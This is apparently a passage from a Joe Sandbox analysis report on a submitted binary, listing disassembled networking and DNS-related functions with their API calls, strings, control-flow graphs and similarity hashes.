                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: EventSelect$EnumEventsNetwork
                                            • String ID: N==$multi.c
                                            • API String ID: 2170980988-1096619029
                                            • Opcode ID: 63a8a8b65886b79c6644873fb631056abcbf1c057b1dbdc61cfc68c4fcac2dfa
                                            • Instruction ID: c0f372a17d80a7243da1a44f8e9668aa16bbd9b27ca1abc4bc6bd1ed9fa89142
                                            • Opcode Fuzzy Hash: 63a8a8b65886b79c6644873fb631056abcbf1c057b1dbdc61cfc68c4fcac2dfa
                                            • Instruction Fuzzy Hash: 42D102716083819FE716CF61C881B6B77E9FF94308F054A2CF884962D2E7B4E985CB52
                                            Function 0049B180 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 323COMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1697 49b180-49b195 1698 49b19b-49b1a2 1697->1698 1699 49b3e0-49b3e7 1697->1699 1700 49b1b0-49b1b9 1698->1700 1700->1700 1701 49b1bb-49b1bd 1700->1701 1701->1699 1702 49b1c3-49b1d0 1701->1702 1704 49b3db 1702->1704 1705 49b1d6-49b1f2 1702->1705 1704->1699 1706 49b229-49b22d 1705->1706 1707 49b3e8-49b417 1706->1707 1708 49b233-49b246 1706->1708 1716 49b41d-49b429 1707->1716 1717 49b582-49b589 1707->1717 1709 49b248-49b24b 1708->1709 1710 49b260-49b264 1708->1710 1711 49b24d-49b256 1709->1711 1712 49b215-49b223 1709->1712 1714 49b269-49b286 call 49af30 1710->1714 1711->1714 1712->1706 1715 49b315-49b33c call 758b00 1712->1715 1723 49b288-49b2a3 call 49b060 1714->1723 1724 49b2f0-49b301 1714->1724 1731 49b3bf-49b3ca 1715->1731 1732 49b342-49b347 1715->1732 1720 49b42b-49b433 call 49b590 1716->1720 1721 49b435-49b44c call 49b590 1716->1721 1720->1721 1734 49b458-49b471 call 49b590 1721->1734 1735 49b44e-49b456 call 49b590 1721->1735 1742 49b2a9-49b2c7 getsockname call 49b020 1723->1742 1743 49b200-49b213 call 49b020 1723->1743 1724->1712 1746 49b307-49b310 1724->1746 1736 49b3cc-49b3d9 1731->1736 1738 49b349-49b358 1732->1738 1739 49b384-49b38f 1732->1739 1755 49b48c-49b4a7 1734->1755 1756 49b473-49b487 1734->1756 1735->1734 1736->1699 1740 49b360-49b382 1738->1740 1739->1731 1741 49b391-49b3a5 1739->1741 1740->1739 1740->1740 1747 49b3b0-49b3bd 1741->1747 1753 49b2cc-49b2dd 1742->1753 1743->1712 1746->1736 1747->1731 1747->1747 1753->1712 1757 49b2e3 1753->1757 1758 49b4a9-49b4b1 call 49b660 1755->1758 1759 49b4b3-49b4cb call 49b660 1755->1759 1756->1717 1757->1746 1758->1759 1764 49b4d9-49b4f5 call 49b660 1759->1764 1765 49b4cd-49b4d5 call 49b660 1759->1765 1770 49b50d-49b52b call 49b770 * 2 1764->1770 1771 49b4f7-49b50b 1764->1771 1765->1764 1770->1717 1776 49b52d-49b531 1770->1776 1771->1717 1777 49b580 1776->1777 1778 49b533-49b53b 1776->1778 1777->1717 1779 49b578-49b57e 1778->1779 1780 49b53d-49b547 1778->1780 1779->1717 1780->1779 1781 49b549-49b54d 1780->1781 1781->1779 1782 49b54f-49b558 1781->1782 1782->1779 1783 49b55a-49b576 call 49b870 * 2 1782->1783 1783->1717 1783->1779
                                            APIs
                                            • getsockname.WS2_32(-00000020,-00000020,?), ref: 0049B2B7
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: getsockname
                                            • String ID: ares__sortaddrinfo.c$cur != NULL
                                            • API String ID: 3358416759-2430778319
                                            • Opcode ID: d1e2990f7bc1adb8876a089b7dcca108e73dd719a79b1347f6e6bc08badade8f
                                            • Instruction ID: 4adfdc3569aab889c56022f46e4aa49c667db9d149eecc97ec94173b657d5245
                                            • Opcode Fuzzy Hash: d1e2990f7bc1adb8876a089b7dcca108e73dd719a79b1347f6e6bc08badade8f
                                            • Instruction Fuzzy Hash: 46C1A1316043059FDB18DF24D984A6A7BE1EF88714F05887EE8458B3A1D738ED45CBC5
                                            Function 003E6FA0 Relevance: 1.8, APIs: 1, Instructions: 261COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 5f607cc5e7160115ba6e2b14cf1a0c40a81a56745885244d6aa15e767b7e83a7
                                            • Instruction ID: bf01d4d2cc9666c59019512d851425c6a65c0b792b9a53ef87935ebd05ad07e5
                                            • Opcode Fuzzy Hash: 5f607cc5e7160115ba6e2b14cf1a0c40a81a56745885244d6aa15e767b7e83a7
                                            • Instruction Fuzzy Hash: AA91273060D3A98BD7378A2AC8D47BB72D9EFC0360F158B2CE899471D4EB749D41D681
                                            Function 0049A8C0 Relevance: 1.5, APIs: 1, Instructions: 39COMMON
                                            Download Yara Rule
                                            APIs
                                            • recvfrom.WS2_32(?,?,?,00000000,00001001,?,?,?,?,?,0048712E,?,?,?,00001001,00000000), ref: 0049A90D
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: recvfrom
                                            • String ID:
                                            • API String ID: 846543921-0
                                            • Opcode ID: 5ffe2ac4a98fc06ea213bc6ecc702c8a3a9e4be6f686362ba41a66616196267a
                                            • Instruction ID: be495f138eb234451d475f5121d034749fd69dc2d66fed8e5f3543c64a87e335
                                            • Opcode Fuzzy Hash: 5ffe2ac4a98fc06ea213bc6ecc702c8a3a9e4be6f686362ba41a66616196267a
                                            • Instruction Fuzzy Hash: AAF06DB5108318AFD6109E01DC48D6BBBEDFFC9758F05496DF948233118270AE10CAB2
                                            Function 0048A440 Relevance: 48.3, APIs: 19, Strings: 8, Instructions: 1066registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 0048AA19
                                            • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 0048AA4C
                                            • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,?), ref: 0048AA97
                                            • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 0048AAE9
                                            • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 0048AB30
                                            • RegCloseKey.KERNELBASE(?), ref: 0048AB6A
                                            • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\Windows NT\DNSClient,00000000,00020019,?), ref: 0048AB82
                                            • RegOpenKeyExA.KERNELBASE(80000002,Software\Policies\Microsoft\System\DNSClient,00000000,00020019,?), ref: 0048AC46
                                            • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces,00000000,00020019,?), ref: 0048AD0A
                                            • RegEnumKeyExA.KERNELBASE ref: 0048AD8D
                                            • RegCloseKey.KERNELBASE(?), ref: 0048ADD9
                                            • RegEnumKeyExA.KERNELBASE ref: 0048AE08
                                            • RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,?), ref: 0048AE2A
                                            • RegQueryValueExA.KERNELBASE(?,SearchList,00000000,00000000,00000000,00000000), ref: 0048AE54
                                            • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,00000000), ref: 0048AF63
                                            • RegQueryValueExA.KERNELBASE(?,Domain,00000000,00000000,00000000,?), ref: 0048AFB2
                                            • RegQueryValueExA.KERNELBASE(?,DhcpDomain,00000000,00000000,00000000,00000000), ref: 0048B072
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: QueryValue$Open$CloseEnum
                                            • String ID: DhcpDomain$Domain$PrimaryDNSSuffix$SearchList$Software\Policies\Microsoft\System\DNSClient$Software\Policies\Microsoft\Windows NT\DNSClient$System\CurrentControlSet\Services\Tcpip\Parameters$System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
                                            • API String ID: 4217438148-1047472027
                                            • Opcode ID: 996b35da6b55a44836025d682431f6c7ddf3c0fd6c01edd600570095337b8ec1
                                            • Instruction ID: 5032304cad73f09acc50bcb6e8febd9cf3aa4d68b13750d5cddb49c6d8d9e8b4
                                            • Opcode Fuzzy Hash: 996b35da6b55a44836025d682431f6c7ddf3c0fd6c01edd600570095337b8ec1
                                            • Instruction Fuzzy Hash: 5A72D1B1604301ABE720EB24CC81B6F77E8EF84704F14482AF945D72A1E7B9E855CB67
                                            Function 0040A550 Relevance: 28.8, APIs: 1, Strings: 15, Instructions: 794COMMON
                                            Download Yara Rule
                                            APIs
                                            • setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 0040A832
                                            Strings
                                            • bind failed with errno %d: %s, xrefs: 0040B080
                                            • cf-socket.c, xrefs: 0040A5CD, 0040A735
                                            • Couldn't bind to '%s' with errno %d: %s, xrefs: 0040AE1F
                                            • cf_socket_open() -> %d, fd=%d, xrefs: 0040A796
                                            • Couldn't bind to interface '%s' with errno %d: %s, xrefs: 0040AD0A
                                            • sa_addr inet_ntop() failed with errno %d: %s, xrefs: 0040A6CE
                                            • Name '%s' family %i resolved to '%s' family %i, xrefs: 0040ADAC
                                            • Trying [%s]:%d..., xrefs: 0040A689
                                            • Local Interface %s is ip %s using address family %i, xrefs: 0040AE60
                                            • @, xrefs: 0040A8F4
                                            • Could not set TCP_NODELAY: %s, xrefs: 0040A871
                                            • Bind to local port %d failed, trying next, xrefs: 0040AFE5
                                            • Local port: %hu, xrefs: 0040AF28
                                            • @, xrefs: 0040AC42
                                            • Trying %s:%d..., xrefs: 0040A7C2, 0040A7DE
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663885158.0000000000E5D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664004425.000000000100B000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2664024190.000000000100D000.00000080.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_1_2_3d0000_Prs9eAnu2k.jbxd
                                            Similarity
                                            • API ID: setsockopt
                                            • String ID: Trying %s:%d...$ Trying [%s]:%d...$ @$ @$Bind to local port %d failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s' with errno %d: %s$Couldn't bind to interface '%s' with errno %d: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$cf-socket.c$cf_socket_open() -> %d, fd=%d$sa_addr inet_ntop() failed with errno %d: %s
                                            • API String ID: 3981526788-2373386790
                                            • Opcode ID: 8a2a5006895f43b2aa4ed81a026f901971755e73e597e30a8bb2635c33df2c0c
                                            • Instruction ID: 5816e801d389ac98e411a860b20d2c44c7edd1a2d7798ee38e4ca25f991254f5
                                            • Opcode Fuzzy Hash: 8a2a5006895f43b2aa4ed81a026f901971755e73e597e30a8bb2635c33df2c0c
                                            • Instruction Fuzzy Hash: C362F471508341ABE721CF24C846BABB3E5EF85304F04492AF988A72D2E775E855CB97
                                            Function 00499740 Relevance: 16.5, APIs: 3, Strings: 6, Instructions: 743registryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 945 499740-49975b 946 49975d-499768 call 4978a0 945->946 947 499780-499782 945->947 954 4999bb-4999c0 946->954 955 49976e-499770 946->955 948 499788-4997a0 call 758e00 call 4978a0 947->948 949 499914-49994e call 758b70 RegOpenKeyExA 947->949 948->954 959 4997a6-4997c5 948->959 962 49995a-499992 RegQueryValueExA RegCloseKey call 758b98 949->962 963 499950-499955 949->963 960 499a0c-499a15 954->960 958 499772-49977e 955->958 955->959 958->948 969 499827-499833 959->969 970 4997c7-4997e0 959->970 971 499997-4999b5 call 4978a0 962->971 963->960 972 49985f-499872 call 495ca0 969->972 973 499835-49985c call 48e2b0 * 2 969->973 974 4997e2-4997f3 call 758b50 970->974 975 4997f6-499809 970->975 971->954 971->959 985 499878-49987d call 4977b0 972->985 986 4999f0 972->986 973->972 974->975 975->969 984 49980b-499810 975->984 984->969 989 499812-499822 984->989 993 499882-499889 985->993 988 4999f5-4999fb call 495d00 986->988 999 4999fe-499a09 988->999 989->960 993->988 998 49988f-49989b call 484fe0 993->998 998->986 1004 4998a1-4998c3 call 758b50 call 4978a0 998->1004 999->960 1009 4998c9-4998db call 48e2d0 1004->1009 1010 4999c2-4999ed call 48e2b0 * 2 1004->1010 1009->1010 1014 4998e1-4998f0 call 48e2d0 1009->1014 1010->986 1014->1010 1020 4998f6-499905 call 4963f0 1014->1020 1025 49990b-49990f 1020->1025 1026 499f66-499f7f call 495d00 1020->1026 1028 499a3f-499a5a call 496740 call 4963f0 1025->1028 1026->999 1028->1026 1034 499a60-499a6e call 496d60 1028->1034 1037 499a1f-499a39 call 496840 call 4963f0 1034->1037 1038 499a70-499a94 call 496200 call 4967e0 call 496320 1034->1038 1037->1026 1037->1028 1049 499a16-499a19 1038->1049 1050 499a96-499ac6 call 48d120 1038->1050 1049->1037 1051 499fc1 1049->1051 1055 499ac8-499adb call 48d120 1050->1055 1056 499ae1-499af7 call 48d190 1050->1056 1053 499fc5-499ffd call 495d00 call 48e2b0 * 2 1051->1053 1053->999 1055->1037 1055->1056 1056->1037 1063 499afd-499b09 call 484fe0 1056->1063 1063->1051 1069 499b0f-499b29 call 48e730 1063->1069 1075 499b2f-499b3a call 4978a0 1069->1075 1076 499f84-499f88 1069->1076 1075->1076 1083 499b40-499b54 call 48e760 1075->1083 1077 499f95-499f99 1076->1077 1079 499f9b-499f9e 1077->1079 1080 499fa0-499fb6 call 48ebf0 * 2 1077->1080 1079->1051 1079->1080 1092 499fb7-499fbe 1080->1092 1088 499f8a-499f92 1083->1088 1089 499b5a-499b6e call 48e730 1083->1089 1088->1077 1095 499b8c-499b97 call 4963f0 1089->1095 1096 499b70-49a004 1089->1096 1092->1051 1104 499c9a-499cab call 48ea00 1095->1104 1105 499b9d-499bbf call 496740 call 4963f0 1095->1105 1100 49a015-49a01d 1096->1100 1102 49a01f-49a022 1100->1102 1103 49a024-49a045 call 48ebf0 * 2 1100->1103 1102->1053 1102->1103 1103->1053 1112 499f31-499f35 1104->1112 1113 499cb1-499ccd call 48ea00 call 48e960 1104->1113 1105->1104 1122 499bc5-499bda call 496d60 1105->1122 1118 499f40-499f61 call 48ebf0 * 2 1112->1118 1119 499f37-499f3a 1112->1119 1133 499cfd-499d0e call 48e960 1113->1133 1134 499ccf 1113->1134 1118->1037 1119->1037 1119->1118 1122->1104 1132 499be0-499bf4 call 496200 call 4967e0 1122->1132 1132->1104 1152 499bfa-499c0b call 496320 1132->1152 1142 499d10 1133->1142 1143 499d53-499d55 1133->1143 1137 499cd1-499cec call 48e9f0 call 48e4a0 1134->1137 1154 499cee-499cfb call 48e9d0 1137->1154 1155 499d47-499d51 1137->1155 1147 499d12-499d2d call 48e9f0 call 48e4a0 1142->1147 1146 499e69-499e8e call 48ea40 call 48e440 1143->1146 1170 499e90-499e92 1146->1170 1171 499e94-499eaa call 48e3c0 1146->1171 1174 499d5a-499d6f call 48e960 1147->1174 1175 499d2f-499d3c call 48e9d0 1147->1175 1168 499c11-499c1c call 497b70 1152->1168 1169 499b75-499b86 call 48ea00 1152->1169 1154->1133 1154->1137 1160 499dca-499ddb call 48e960 1155->1160 1180 499ddd-499ddf 1160->1180 1181 499e2e-499e36 1160->1181 1168->1095 1193 499c22-499c33 call 48e960 1168->1193 1169->1095 1190 499f2d 1169->1190 1178 499eb3-499ec4 call 48e9c0 1170->1178 1200 49a04a-49a04c 1171->1200 1201 499eb0-499eb1 1171->1201 1196 499d71-499d73 1174->1196 1197 499dc2 1174->1197 1175->1147 1203 499d3e-499d42 1175->1203 1178->1037 1210 499eca-499ed0 1178->1210 1189 499e06-499e21 call 48e9f0 call 48e4a0 1180->1189 1186 499e38-499e3b 1181->1186 1187 499e3d-499e5b call 48ebf0 * 2 1181->1187 1186->1187 1198 499e5e-499e67 1186->1198 1187->1198 1225 499de1-499dee call 48ec80 1189->1225 1226 499e23-499e2c call 48eac0 1189->1226 1190->1112 1212 499c35 1193->1212 1213 499c66-499c75 call 4978a0 1193->1213 1208 499d9a-499db5 call 48e9f0 call 48e4a0 1196->1208 1197->1160 1198->1146 1198->1178 1206 49a04e-49a051 1200->1206 1207 49a057-49a070 call 48ebf0 * 2 1200->1207 1201->1178 1203->1146 1206->1051 1206->1207 1207->1092 1241 499d75-499d82 call 48ec80 1208->1241 1242 499db7-499dc0 call 48eac0 1208->1242 1217 499ee5-499ef2 call 48e9f0 1210->1217 1219 499c37-499c51 call 48e9f0 1212->1219 1238 499c7b-499c8f call 48e7c0 1213->1238 1239 49a011 1213->1239 1217->1037 1235 499ef8-499f0e call 48e440 1217->1235 1219->1095 1256 499c57-499c64 call 48e9d0 1219->1256 1250 499df1-499e04 call 48e960 1225->1250 1226->1250 1257 499f10-499f26 call 48e3c0 1235->1257 1258 499ed2-499edf call 48e9e0 1235->1258 1238->1095 1253 499c95-49a00e 1238->1253 1239->1100 1262 499d85-499d98 call 48e960 1241->1262 1242->1262 1250->1181 1250->1189 1253->1239 1256->1213 1256->1219 1257->1258 1272 499f28 1257->1272 1258->1037 1258->1217 1262->1197 1262->1208 1272->1051
                                            APIs
                                            • RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Services\Tcpip\Parameters,00000000,00020019,?), ref: 00499946
                                            • RegQueryValueExA.KERNELBASE(?,DatabasePath,00000000,00000000,?,00000104), ref: 00499974
                                            • RegCloseKey.KERNELBASE(?), ref: 0049998B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000001.00000002.2662805011.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true
                                            • Associated: 00000001.00000002.2662782536.00000000003D0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000968000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AAE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000ACF000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2662805011.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663536988.0000000000AD4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000AD6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000C60000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D64000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000D69000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E46000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000001.00000002.2663558091.0000000000E5C000.00000040.00000001.01000000.00000003.sdmpDownload File
